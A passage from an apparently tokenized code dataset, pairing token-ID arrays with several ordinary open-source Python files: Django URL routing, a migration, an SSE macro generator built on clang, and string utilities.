1445, 1367, 29892, 525, 11082, 7464, 13, 18884, 12885, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29884, 7464, 282, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29886, 7464, 13, 18884, 285, 2521, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29888, 2521, 11287, 13, 13, 4706, 396, 8147, 19224, 11909, 13, 4706, 1583, 3032, 3027, 29889, 9202, 9012, 29918, 29916, 29898, 5696, 29922, 5696, 29892, 2767, 29922, 5504, 29897, 13, 4706, 1583, 3032, 3027, 29889, 4294, 9202, 29918, 18816, 8247, 580, 13, 4706, 1583, 3032, 3027, 29889, 4294, 9202, 29918, 19536, 580, 13, 13, 4706, 396, 4078, 2582, 13, 4706, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29885, 2521, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 29885, 2521, 2033, 13, 4706, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29928, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 29928, 2033, 13, 4706, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 15666, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 15666, 2033, 13, 4706, 565, 10696, 1405, 29871, 29900, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29888, 2521, 2033, 353, 10696, 13, 13, 1678, 822, 7418, 29918, 497, 29898, 1311, 29892, 289, 1761, 29892, 1652, 391, 29892, 1158, 2433, 29887, 17019, 742, 2767, 29922, 8824, 1125, 13, 4706, 9995, 3483, 1036, 275, 20332, 10696, 310, 2066, 297, 1652, 391, 411, 10090, 5235, 515, 13, 4706, 289, 1761, 9995, 13, 13, 4706, 565, 338, 8758, 29898, 29890, 1761, 29892, 938, 1125, 13, 9651, 289, 1761, 353, 7442, 29889, 3298, 359, 29918, 4561, 29898, 9302, 29889, 2378, 29898, 1579, 391, 876, 718, 289, 1761, 13, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 1579, 391, 22164, 13, 9651, 1583, 29889, 15916, 29918, 29896, 29900, 29916, 29898, 1579, 391, 29961, 29875, 1402, 289, 1445, 1367, 29922, 29890, 1761, 29961, 29875, 1402, 7164, 29922, 29945, 29892, 13, 462, 1678, 2767, 29922, 5504, 29892, 1158, 29922, 5696, 29897, 13, 13, 4706, 1583, 29889, 7620, 3403, 580, 13, 13, 1678, 822, 1510, 3888, 29898, 1311, 29892, 784, 978, 2433, 11082, 742, 4195, 2433, 29896, 29900, 29916, 29374, 13, 4706, 9995, 1510, 282, 5863, 848, 411, 4195, 9995, 13, 13, 4706, 736, 1583, 3032, 1272, 29961, 1311, 3032, 1272, 29961, 1054, 978, 29962, 1275, 4195, 29962, 13, 13, 13, 29937, 325, 326, 29901, 8771, 5696, 29922, 12860, 29901, 8771, 5563, 29922, 29900, 13, 2 ]
examples/wagsley/wagsley/urls.py
Blogsley/blogsley
0
20809
from django.conf import settings from django.urls import include, path, re_path from django.contrib import admin from ariadne_django.views import GraphQLView from wagtail.admin import urls as wagtailadmin_urls from wagtail.core import urls as wagtail_urls from wagtail.documents import urls as wagtaildocs_urls from puput import urls as puput_urls from search import views as search_views from wagsley.schema import schema print(schema) urlpatterns = [ path('django-admin/', admin.site.urls), path('admin/', include(wagtailadmin_urls)), path('documents/', include(wagtaildocs_urls)), #path('search/', search_views.search, name='search'), ] if settings.DEBUG: from django.conf.urls.static import static from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Serve static and media files from development server urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) urlpatterns = urlpatterns + [ path('graphql/', GraphQLView.as_view(schema=schema), name='graphql'), path('accounts/', include('accounts.urls')), path('accounts/', include('django.contrib.auth.urls')), path('accounts/', include('allauth.urls')), path('events/', include('events.urls')), re_path(r'^comments/', include('django_comments_xtd.urls')), path("", include(puput_urls)), path("", include(wagtail_urls)), path('', include('home.urls')), ]
[ 1, 515, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 26045, 1053, 3160, 29892, 2224, 29892, 337, 29918, 2084, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 13, 3166, 263, 374, 328, 484, 29918, 14095, 29889, 7406, 1053, 12367, 2239, 1043, 13, 13, 3166, 281, 351, 18237, 29889, 6406, 1053, 23942, 408, 281, 351, 18237, 6406, 29918, 26045, 13, 3166, 281, 351, 18237, 29889, 3221, 1053, 23942, 408, 281, 351, 18237, 29918, 26045, 13, 3166, 281, 351, 18237, 29889, 3225, 29879, 1053, 23942, 408, 281, 351, 18237, 2640, 29918, 26045, 13, 13, 3166, 2653, 649, 1053, 23942, 408, 2653, 649, 29918, 26045, 13, 13, 3166, 2740, 1053, 8386, 408, 2740, 29918, 7406, 13, 3166, 281, 810, 2330, 29889, 11010, 1053, 10938, 13, 2158, 29898, 11010, 29897, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 2224, 877, 14095, 29899, 6406, 29914, 742, 4113, 29889, 2746, 29889, 26045, 511, 13, 13, 1678, 2224, 877, 6406, 29914, 742, 3160, 29898, 29893, 351, 18237, 6406, 29918, 26045, 8243, 13, 1678, 2224, 877, 3225, 29879, 29914, 742, 3160, 29898, 29893, 351, 18237, 2640, 29918, 26045, 8243, 13, 13, 1678, 396, 2084, 877, 4478, 29914, 742, 2740, 29918, 7406, 29889, 4478, 29892, 1024, 2433, 4478, 5477, 13, 13, 29962, 13, 13, 13, 361, 6055, 29889, 18525, 29901, 13, 1678, 515, 9557, 29889, 5527, 29889, 26045, 29889, 7959, 1053, 2294, 13, 1678, 515, 9557, 29889, 21570, 29889, 7959, 5325, 29889, 26045, 1053, 2294, 5325, 29918, 2271, 11037, 29879, 13, 13, 1678, 396, 1816, 345, 2294, 322, 5745, 2066, 515, 5849, 1923, 13, 1678, 3142, 11037, 29879, 4619, 2294, 5325, 29918, 2271, 11037, 29879, 580, 13, 1678, 3142, 11037, 29879, 4619, 2294, 29898, 11027, 29889, 2303, 4571, 29909, 29918, 4219, 29892, 1842, 29918, 4632, 29922, 11027, 29889, 2303, 4571, 29909, 29918, 21289, 29897, 13, 13, 13, 2271, 11037, 29879, 353, 3142, 11037, 29879, 718, 518, 13, 1678, 2224, 877, 4262, 1519, 29914, 742, 12367, 2239, 1043, 29889, 294, 29918, 1493, 29898, 11010, 29922, 11010, 511, 1024, 2433, 4262, 1519, 5477, 13, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 10149, 29879, 29889, 26045, 1495, 511, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 14095, 29889, 21570, 29889, 5150, 29889, 26045, 1495, 511, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 9864, 2806, 29889, 26045, 1495, 511, 13, 13, 1678, 2224, 877, 13604, 29914, 742, 3160, 877, 13604, 29889, 26045, 1495, 511, 13, 13, 1678, 337, 29918, 2084, 29898, 29878, 29915, 29985, 21032, 29914, 742, 3160, 877, 14095, 29918, 21032, 29918, 486, 29881, 29889, 26045, 1495, 511, 13, 1678, 2224, 703, 613, 3160, 29898, 3746, 649, 29918, 26045, 8243, 13, 1678, 2224, 703, 613, 3160, 29898, 29893, 351, 18237, 29918, 26045, 8243, 13, 13, 1678, 2224, 877, 742, 3160, 877, 5184, 29889, 26045, 1495, 511, 13, 13, 29962, 2 ]
fdbk/data_tools/functions/__init__.py
kangasta/fdbk
1
112410
from ._chart_funcs import * from ._collection_funcs import * from ._status_funcs import * from ._value_funcs import * # pylint: disable=invalid-name functions = {**CHART_FUNCS, **COLLECTION_FUNCS, **STATUS_FUNCS, **VALUE_FUNCS}
[ 1, 515, 869, 29918, 15425, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 10855, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 4882, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 1767, 29918, 7692, 2395, 1053, 334, 13, 13, 29937, 282, 2904, 524, 29901, 11262, 29922, 20965, 29899, 978, 13, 12171, 353, 426, 1068, 3210, 8322, 29918, 29943, 3904, 9295, 29892, 3579, 15032, 3281, 2725, 29918, 29943, 3904, 9295, 29892, 3579, 27047, 29918, 29943, 3904, 9295, 29892, 3579, 19143, 29918, 29943, 3904, 9295, 29913, 13, 2 ]
PlatformIndependence/gen_sse_impl.py
ZJUCVG/EIBA
86
109134
<reponame>ZJUCVG/EIBA #!/usr/bin/python import clang.cindex import re import subprocess intrinsic_types = {'__m64', '__m128', '__m128i', '__m128d'} pointer_arg_matcher = re.compile(r'.*(__m64|__m128|__m128i|__m128d).*\*.*') non_pointer_arg_matcher = re.compile(r'.*(__m64|__m128|__m128i|__m128d).*') header = "//Do not edit this file, it's automatically generated." class FuncDeclVisitor: """For a intrinsic function declaration, generate the implementatio""" def __init__(self): self.alreay_visited = set() self.macros = [] # self.funcnames = [] # self.funcimpls = [] # self.taildefines = [] def __call__(self, node): # ret, name, arg_types, arg_names = self.parse(node) old_ret, old_name, old_arg_types, old_arg_names = self.parse(node) if old_name in self.alreay_visited: return self.alreay_visited.add(old_name) new_ret = old_ret.replace('__m', '_pi__m') new_name = '_pi' + old_name new_arg_types, new_paras = [], [] for t, n in zip(old_arg_types, old_arg_names): # new_arg_types.append(t.replace('__m', 'my__m')) if pointer_arg_matcher.match(t): new_paras.append('&' + self.quote(n) + '->native_obj') elif non_pointer_arg_matcher.match(t): new_paras.append(self.quote(n) + '.native_obj') else: new_paras.append(n) macro_head = '#define ' + new_name + self.quote( ','.join(old_arg_names)) # impl = '#define ' + new_name + '(' + \ # ','.join(t + ' ' + n for t, n in zip(new_arg_types, old_arg_names)) + \ # ')' macro_impl = old_name + self.quote(','.join(new_paras)) if old_ret in intrinsic_types: macro_impl = self.native_to_my_expr(macro_impl) # exprs = [] # if old_ret in intrinsic_types: # exprs.append(new_ret + ' tmp') # exprs.append('tmp.native_obj=' + old_name + self.quote(','.join(new_paras))) # exprs.append('tmp') # else: # exprs.append(old_name + self.quote(','.join(new_paras))) # impl = define_head + ' ' + self.quote(','.join(exprs)) # if old_ret in intrinsic_types: # impl = new_ret + ' tmp;' + \ # 'tmp.native_obj=' + impl + 'return tmp;' # elif 'void' != old_ret: # impl = 'return ' + impl # cur_func = decl + '{' + impl + '}' # impl = define_head + define_impl # self.funcimpls.append(impl) # self.funcnames.append((old_name, new_name)) # self.taildefines.append('#ifdef ' + old_name + '\n' + # '#undef ' + old_name + '\n' + '#endif\n' # '#define ' + old_name + self.quote(','.join(old_arg_names)) + # ' ' + new_name + self.quote(','.join(old_arg_names))) win32_macro = ' '.join(['#define', new_name, old_name]) linux_macro = macro_head + macro_impl self.macros.append('\n'.join( ['#ifdef WIN32', win32_macro, '#else', linux_macro, '#endif'])) @staticmethod def parse(node): ret = node.result_type.spelling arg_types = [] arg_names = [] for a in node.get_arguments(): arg_types.append(a.type.spelling) arg_names.append(a.spelling) return ret, node.spelling, arg_types, arg_names @staticmethod def quote(name): return '(' + name + ')' @staticmethod def native_to_my_expr(expr): return 'from_native_obj' + FuncDeclVisitor.quote(expr) def result(self): return self.result def visit_func_decls(node, visitor): """visit AST, for each function declaration node, call visitor""" if node.kind == clang.cindex.CursorKind.FUNCTION_DECL: visitor(node) for c in node.get_children(): visit_func_decls(c, visitor) if __name__ == '__main__': src, out = "sse.in", "sse_impl.h" code = 'class __m64{}; class __m128{}; class __m128i{}; class __m128d{};' with open(src, 'r') as f: code = code + ';'.join(f) code = code + ';' # for line in f: # code = code + line + ';' index = clang.cindex.Index.create() unit = index.parse('tmp.cc', None, [('tmp.cc', code)]) visitor = FuncDeclVisitor() visit_func_decls(unit.cursor, visitor) with open(out, 'w') as outfile: outfile.write(header + '\n') outfile.write('\n'.join(visitor.macros)) outfile.write('\n') # outfile.write('\n'.join(visitor.funcimpls)) # outfile.write('\n') # outfile.write('\n'.join(visitor.taildefines)) # for old_name, new_name in visitor.funcnames: # outfile.write('#ifdef ' + old_name + '\n') # outfile.write('#undef ' + old_name + '\n') # outfile.write('#endif\n') # outfile.write('#define ' + old_name + ' ' + new_name + '\n') subprocess.check_call(['clang-format', '-i', out])
[ 1, 529, 276, 1112, 420, 29958, 29999, 29967, 29965, 15633, 29954, 29914, 29923, 29902, 5688, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 13, 13, 5215, 1067, 574, 29889, 29883, 2248, 13, 5215, 337, 13, 5215, 1014, 5014, 13, 13, 262, 509, 28594, 29918, 8768, 353, 11117, 1649, 29885, 29953, 29946, 742, 525, 1649, 29885, 29896, 29906, 29947, 742, 525, 1649, 29885, 29896, 29906, 29947, 29875, 742, 525, 1649, 29885, 29896, 29906, 29947, 29881, 10827, 13, 17226, 29918, 1191, 29918, 4352, 261, 353, 337, 29889, 12198, 29898, 29878, 4286, 16395, 1649, 29885, 29953, 29946, 29989, 1649, 29885, 29896, 29906, 29947, 29989, 1649, 29885, 29896, 29906, 29947, 29875, 29989, 1649, 29885, 29896, 29906, 29947, 29881, 467, 17710, 29930, 5575, 1495, 13, 5464, 29918, 17226, 29918, 1191, 29918, 4352, 261, 353, 337, 29889, 12198, 29898, 29878, 4286, 16395, 1649, 29885, 29953, 29946, 29989, 1649, 29885, 29896, 29906, 29947, 29989, 1649, 29885, 29896, 29906, 29947, 29875, 29989, 1649, 29885, 29896, 29906, 29947, 29881, 467, 29930, 1495, 13, 6672, 353, 376, 458, 6132, 451, 3863, 445, 934, 29892, 372, 29915, 29879, 6336, 5759, 1213, 13, 13, 13, 1990, 383, 4661, 6185, 29880, 6116, 2105, 29901, 13, 1678, 9995, 2831, 263, 11158, 28594, 740, 12029, 29892, 5706, 278, 2334, 20819, 15945, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 284, 276, 388, 29918, 1730, 1573, 353, 731, 580, 13, 4706, 1583, 29889, 8628, 1883, 353, 5159, 13, 4706, 396, 1583, 29889, 9891, 7039, 353, 5159, 13, 4706, 396, 1583, 29889, 9891, 13699, 29879, 353, 5159, 13, 4706, 396, 1583, 29889, 18237, 1753, 1475, 353, 5159, 13, 13, 1678, 822, 4770, 4804, 12035, 1311, 29892, 2943, 1125, 13, 4706, 396, 3240, 29892, 1024, 29892, 1852, 29918, 8768, 29892, 1852, 29918, 7039, 353, 1583, 29889, 5510, 29898, 3177, 29897, 13, 4706, 2030, 29918, 2267, 29892, 2030, 29918, 978, 29892, 2030, 29918, 1191, 29918, 8768, 29892, 2030, 29918, 1191, 29918, 7039, 353, 1583, 29889, 5510, 29898, 3177, 29897, 13, 4706, 565, 2030, 29918, 978, 297, 1583, 29889, 284, 276, 388, 29918, 1730, 1573, 29901, 13, 9651, 736, 13, 4706, 1583, 29889, 284, 276, 388, 29918, 1730, 1573, 29889, 1202, 29898, 1025, 29918, 978, 29897, 13, 4706, 716, 29918, 2267, 353, 2030, 29918, 2267, 29889, 6506, 877, 1649, 29885, 742, 22868, 1631, 1649, 29885, 1495, 13, 4706, 716, 29918, 978, 353, 22868, 1631, 29915, 718, 2030, 29918, 978, 13, 4706, 716, 29918, 1191, 29918, 8768, 29892, 716, 29918, 862, 294, 353, 19997, 5159, 13, 4706, 363, 260, 29892, 302, 297, 14319, 29898, 1025, 29918, 1191, 29918, 8768, 29892, 2030, 29918, 1191, 29918, 7039, 1125, 13, 9651, 396, 716, 29918, 1191, 29918, 8768, 29889, 4397, 29898, 29873, 29889, 6506, 877, 1649, 29885, 742, 525, 1357, 1649, 29885, 8785, 13, 9651, 565, 4879, 29918, 1191, 29918, 4352, 261, 29889, 4352, 29898, 29873, 1125, 13, 18884, 716, 29918, 862, 294, 29889, 4397, 877, 29987, 29915, 718, 1583, 29889, 1396, 29898, 29876, 29897, 718, 525, 976, 11487, 29918, 5415, 1495, 13, 9651, 25342, 1661, 29918, 17226, 29918, 1191, 29918, 4352, 261, 29889, 4352, 29898, 29873, 1125, 13, 18884, 716, 29918, 862, 294, 29889, 4397, 29898, 1311, 29889, 1396, 29898, 29876, 29897, 718, 15300, 11487, 29918, 5415, 1495, 13, 9651, 1683, 29901, 13, 18884, 716, 29918, 862, 294, 29889, 4397, 29898, 29876, 29897, 13, 4706, 11758, 29918, 2813, 353, 16321, 7922, 525, 718, 716, 29918, 978, 718, 1583, 29889, 1396, 29898, 13, 9651, 13420, 4286, 7122, 29898, 1025, 29918, 1191, 29918, 7039, 876, 13, 4706, 396, 13374, 353, 16321, 7922, 525, 718, 716, 29918, 978, 718, 525, 877, 718, 320, 13, 4706, 396, 4706, 13420, 4286, 7122, 29898, 29873, 718, 525, 525, 718, 302, 363, 260, 29892, 302, 297, 14319, 29898, 1482, 29918, 1191, 29918, 8768, 29892, 2030, 29918, 1191, 29918, 7039, 876, 718, 320, 13, 4706, 396, 4706, 525, 16029, 13, 4706, 11758, 29918, 13699, 353, 2030, 29918, 978, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 1482, 29918, 862, 294, 876, 13, 4706, 565, 2030, 29918, 2267, 297, 11158, 28594, 29918, 8768, 29901, 13, 9651, 11758, 29918, 13699, 353, 1583, 29889, 11487, 29918, 517, 29918, 1357, 29918, 13338, 29898, 25254, 29918, 13699, 29897, 13, 4706, 396, 22010, 29879, 353, 5159, 13, 4706, 396, 565, 2030, 29918, 2267, 297, 11158, 28594, 29918, 8768, 29901, 13, 4706, 396, 268, 22010, 29879, 29889, 4397, 29898, 1482, 29918, 2267, 718, 525, 13128, 1495, 13, 4706, 396, 268, 22010, 29879, 29889, 4397, 877, 7050, 29889, 11487, 29918, 5415, 2433, 718, 2030, 29918, 978, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 1482, 29918, 862, 294, 4961, 13, 4706, 396, 268, 22010, 29879, 29889, 4397, 877, 7050, 1495, 13, 4706, 396, 1683, 29901, 13, 4706, 396, 268, 22010, 29879, 29889, 4397, 29898, 1025, 29918, 978, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 1482, 29918, 862, 294, 4961, 13, 4706, 396, 13374, 353, 4529, 29918, 2813, 718, 525, 525, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 13338, 29879, 876, 13, 4706, 396, 565, 2030, 29918, 2267, 297, 11158, 28594, 29918, 8768, 29901, 13, 4706, 396, 268, 13374, 353, 716, 29918, 2267, 718, 525, 13128, 29936, 29915, 718, 320, 13, 4706, 396, 9651, 525, 7050, 29889, 11487, 29918, 5415, 2433, 718, 13374, 718, 525, 2457, 13128, 29936, 29915, 13, 4706, 396, 25342, 525, 5405, 29915, 2804, 2030, 29918, 2267, 29901, 13, 4706, 396, 268, 13374, 353, 525, 2457, 525, 718, 13374, 13, 13, 4706, 396, 3151, 29918, 9891, 353, 4845, 718, 525, 10998, 718, 13374, 718, 525, 10162, 13, 4706, 396, 13374, 353, 4529, 29918, 2813, 718, 4529, 29918, 13699, 13, 4706, 396, 1583, 29889, 9891, 13699, 29879, 29889, 4397, 29898, 13699, 29897, 13, 4706, 396, 1583, 29889, 9891, 7039, 29889, 4397, 3552, 1025, 29918, 978, 29892, 716, 29918, 978, 876, 13, 4706, 396, 1583, 29889, 18237, 1753, 1475, 29889, 4397, 14237, 361, 1753, 525, 718, 2030, 29918, 978, 718, 11297, 29876, 29915, 718, 13, 4706, 396, 462, 308, 16321, 870, 1389, 525, 718, 2030, 29918, 978, 718, 11297, 29876, 29915, 718, 16321, 15224, 29905, 29876, 29915, 13, 4706, 396, 462, 308, 16321, 7922, 525, 718, 2030, 29918, 978, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 1025, 29918, 1191, 29918, 7039, 876, 718, 13, 4706, 396, 462, 308, 525, 525, 718, 716, 29918, 978, 718, 1583, 29889, 1396, 29898, 3788, 29889, 7122, 29898, 1025, 29918, 1191, 29918, 7039, 4961, 13, 4706, 5401, 29941, 29906, 29918, 25254, 353, 525, 15300, 7122, 18959, 29937, 7922, 742, 716, 29918, 978, 29892, 2030, 29918, 978, 2314, 13, 4706, 10542, 29918, 25254, 353, 11758, 29918, 2813, 718, 11758, 29918, 13699, 13, 4706, 1583, 29889, 8628, 1883, 29889, 4397, 28909, 29876, 4286, 7122, 29898, 13, 9651, 6024, 29937, 361, 1753, 399, 1177, 29941, 29906, 742, 5401, 29941, 29906, 29918, 25254, 29892, 16321, 2870, 742, 10542, 29918, 25254, 29892, 16321, 15224, 25901, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 6088, 29898, 3177, 1125, 13, 4706, 3240, 353, 2943, 29889, 2914, 29918, 1853, 29889, 1028, 7807, 13, 4706, 1852, 29918, 8768, 353, 5159, 13, 4706, 1852, 29918, 7039, 353, 5159, 13, 4706, 363, 263, 297, 2943, 29889, 657, 29918, 25699, 7295, 13, 9651, 1852, 29918, 8768, 29889, 4397, 29898, 29874, 29889, 1853, 29889, 1028, 7807, 29897, 13, 9651, 1852, 29918, 7039, 29889, 4397, 29898, 29874, 29889, 1028, 7807, 29897, 13, 4706, 736, 3240, 29892, 2943, 29889, 1028, 7807, 29892, 1852, 29918, 8768, 29892, 1852, 29918, 7039, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 14978, 29898, 978, 1125, 13, 4706, 736, 525, 877, 718, 1024, 718, 525, 16029, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 7531, 29918, 517, 29918, 1357, 29918, 13338, 29898, 13338, 1125, 13, 4706, 736, 525, 3166, 29918, 11487, 29918, 5415, 29915, 718, 383, 4661, 6185, 29880, 6116, 2105, 29889, 1396, 29898, 13338, 29897, 13, 13, 1678, 822, 1121, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 2914, 13, 13, 13, 1753, 6493, 29918, 9891, 29918, 311, 25932, 29898, 3177, 29892, 27682, 1125, 13, 1678, 9995, 1730, 277, 319, 1254, 29892, 363, 1269, 740, 12029, 2943, 29892, 1246, 27682, 15945, 29908, 13, 1678, 565, 2943, 29889, 14380, 1275, 1067, 574, 29889, 29883, 2248, 29889, 19890, 11885, 29889, 29943, 28700, 29918, 2287, 6154, 29901, 13, 4706, 27682, 29898, 3177, 29897, 13, 1678, 363, 274, 297, 2943, 29889, 657, 29918, 11991, 7295, 13, 4706, 6493, 29918, 9891, 29918, 311, 25932, 29898, 29883, 29892, 27682, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 4765, 29892, 714, 353, 376, 29879, 344, 29889, 262, 613, 376, 29879, 344, 29918, 13699, 29889, 29882, 29908, 13, 1678, 775, 353, 525, 1990, 4770, 29885, 29953, 29946, 29912, 3400, 770, 4770, 29885, 29896, 29906, 29947, 29912, 3400, 770, 4770, 29885, 29896, 29906, 29947, 29875, 29912, 3400, 770, 4770, 29885, 29896, 29906, 29947, 29881, 29912, 3400, 29915, 13, 1678, 411, 1722, 29898, 4351, 29892, 525, 29878, 1495, 408, 285, 29901, 13, 4706, 775, 353, 775, 718, 21921, 4286, 7122, 29898, 29888, 29897, 13, 4706, 775, 353, 775, 718, 21921, 29915, 13, 4706, 396, 363, 1196, 297, 285, 29901, 13, 4706, 396, 268, 775, 353, 775, 718, 1196, 718, 21921, 29915, 13, 13, 1678, 2380, 353, 1067, 574, 29889, 29883, 2248, 29889, 3220, 29889, 3258, 580, 13, 1678, 5190, 353, 2380, 29889, 5510, 877, 7050, 29889, 617, 742, 6213, 29892, 518, 877, 7050, 29889, 617, 742, 775, 29897, 2314, 13, 1678, 27682, 353, 383, 4661, 6185, 29880, 6116, 2105, 580, 13, 1678, 6493, 29918, 9891, 29918, 311, 25932, 29898, 5441, 29889, 18127, 29892, 27682, 29897, 13, 13, 1678, 411, 1722, 29898, 449, 29892, 525, 29893, 1495, 408, 714, 1445, 29901, 13, 4706, 714, 1445, 29889, 3539, 29898, 6672, 718, 11297, 29876, 1495, 13, 4706, 714, 1445, 29889, 3539, 28909, 29876, 4286, 7122, 29898, 1730, 2105, 29889, 8628, 1883, 876, 13, 4706, 714, 1445, 29889, 3539, 28909, 29876, 1495, 13, 4706, 396, 714, 1445, 29889, 3539, 28909, 29876, 4286, 7122, 29898, 1730, 2105, 29889, 9891, 13699, 29879, 876, 13, 4706, 396, 714, 1445, 29889, 3539, 28909, 29876, 1495, 13, 4706, 396, 714, 1445, 29889, 3539, 28909, 29876, 4286, 7122, 29898, 1730, 2105, 29889, 18237, 1753, 1475, 876, 13, 4706, 396, 363, 2030, 29918, 978, 29892, 716, 29918, 978, 297, 27682, 29889, 9891, 7039, 29901, 13, 4706, 396, 268, 714, 1445, 29889, 3539, 14237, 361, 1753, 525, 718, 2030, 29918, 978, 718, 11297, 29876, 1495, 13, 4706, 396, 268, 714, 1445, 29889, 3539, 14237, 870, 1389, 525, 718, 2030, 29918, 978, 718, 11297, 29876, 1495, 13, 4706, 396, 268, 714, 1445, 29889, 3539, 14237, 15224, 29905, 29876, 1495, 13, 4706, 396, 268, 714, 1445, 29889, 3539, 14237, 7922, 525, 718, 2030, 29918, 978, 718, 525, 525, 718, 716, 29918, 978, 718, 11297, 29876, 1495, 13, 1678, 1014, 5014, 29889, 3198, 29918, 4804, 18959, 695, 574, 29899, 4830, 742, 17411, 29875, 742, 714, 2314, 13, 2 ]
server/apps/api/notice/migrations/0003_alter_event_priority.py
NikitaGrishchenko/csp-tender-hack-server
0
20795
# Generated by Django 3.2.9 on 2021-11-27 12:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('notice', '0002_auto_20211127_0236'), ] operations = [ migrations.AlterField( model_name='event', name='priority', field=models.IntegerField(choices=[(1, 'Низкий приоритет'), (2, 'Средний приоритет'), (3, 'Высокий приоритет')], verbose_name='Приоритет'), ), ]
[ 1, 396, 3251, 630, 491, 15337, 29871, 29941, 29889, 29906, 29889, 29929, 373, 29871, 29906, 29900, 29906, 29896, 29899, 29896, 29896, 29899, 29906, 29955, 29871, 29896, 29906, 29901, 29906, 29896, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 1333, 625, 742, 525, 29900, 29900, 29900, 29906, 29918, 6921, 29918, 29906, 29900, 29906, 29896, 29896, 29896, 29906, 29955, 29918, 29900, 29906, 29941, 29953, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 3696, 742, 13, 9651, 1024, 2433, 29886, 21766, 742, 13, 9651, 1746, 29922, 9794, 29889, 7798, 3073, 29898, 1859, 1575, 11759, 29898, 29896, 29892, 525, 30029, 6531, 3753, 1695, 29904, 641, 13562, 5477, 313, 29906, 29892, 525, 30008, 4715, 2332, 1695, 29904, 641, 13562, 5477, 313, 29941, 29892, 525, 30012, 29982, 2223, 3753, 1695, 29904, 641, 13562, 1495, 1402, 26952, 29918, 978, 2433, 30013, 641, 29904, 641, 13562, 5477, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
lsh/utils/strings_utils.py
singhj/locality-sensitive-hashing
19
185013
import re import string DEFAULT_TOKENIZER_DELIMITER = ' ' def remove_all_whitespace(str): """ Strips all whitespace from a given string. :return: new string without whitespaces, will return the original string if it is empty or None """ if str: return re.sub(r'\s+', '', str) else: return str def tokenize(str, delimiter=DEFAULT_TOKENIZER_DELIMITER): """ Splits a string by a given delimiter. Default delimiter is a single whitespace. :return: list of string tokens, will return the original string if it is empty or None """ if str: return str.split(delimiter) else: return str def normalize(str): """ Normalizes the string making string all lower case and removes all punctuation. :param str: string to be normalized :return: normalized string, if str is None or empty it returns the original string """ if str: if isinstance(str, unicode): not_letters_or_digits = u'!"#%\'()*+,-./:;<=>?@[\]^_`{|}~' translate_to = u'' translate_table = dict((ord(char), translate_to) for char in not_letters_or_digits) return str.translate(translate_table) else: return str.lower().translate(string.maketrans("",""), string.punctuation) else: return str def get_stem(word): #TODO: Research stemming libraries and implement method using library functions return word
[ 1, 1053, 337, 13, 5215, 1347, 13, 13, 23397, 29918, 4986, 29968, 1430, 26664, 1001, 29918, 2287, 5265, 26349, 1001, 353, 525, 525, 13, 13, 1753, 3349, 29918, 497, 29918, 1332, 3246, 3535, 29898, 710, 1125, 13, 1678, 9995, 13, 4706, 624, 374, 567, 599, 24358, 515, 263, 2183, 1347, 29889, 13, 4706, 584, 2457, 29901, 716, 1347, 1728, 18960, 22459, 29892, 674, 736, 278, 2441, 1347, 565, 372, 338, 4069, 470, 6213, 13, 1678, 9995, 13, 1678, 565, 851, 29901, 13, 4706, 736, 337, 29889, 1491, 29898, 29878, 12764, 29879, 29974, 742, 15516, 851, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 5993, 675, 29898, 710, 29892, 28552, 29922, 23397, 29918, 4986, 29968, 1430, 26664, 1001, 29918, 2287, 5265, 26349, 1001, 1125, 13, 1678, 9995, 13, 4706, 317, 572, 1169, 263, 1347, 491, 263, 2183, 28552, 29889, 13109, 28552, 338, 263, 2323, 24358, 29889, 13, 4706, 584, 2457, 29901, 1051, 310, 1347, 18897, 29892, 674, 736, 278, 2441, 1347, 565, 372, 338, 4069, 470, 6213, 13, 1678, 9995, 13, 13, 1678, 565, 851, 29901, 13, 4706, 736, 851, 29889, 5451, 29898, 6144, 19657, 29897, 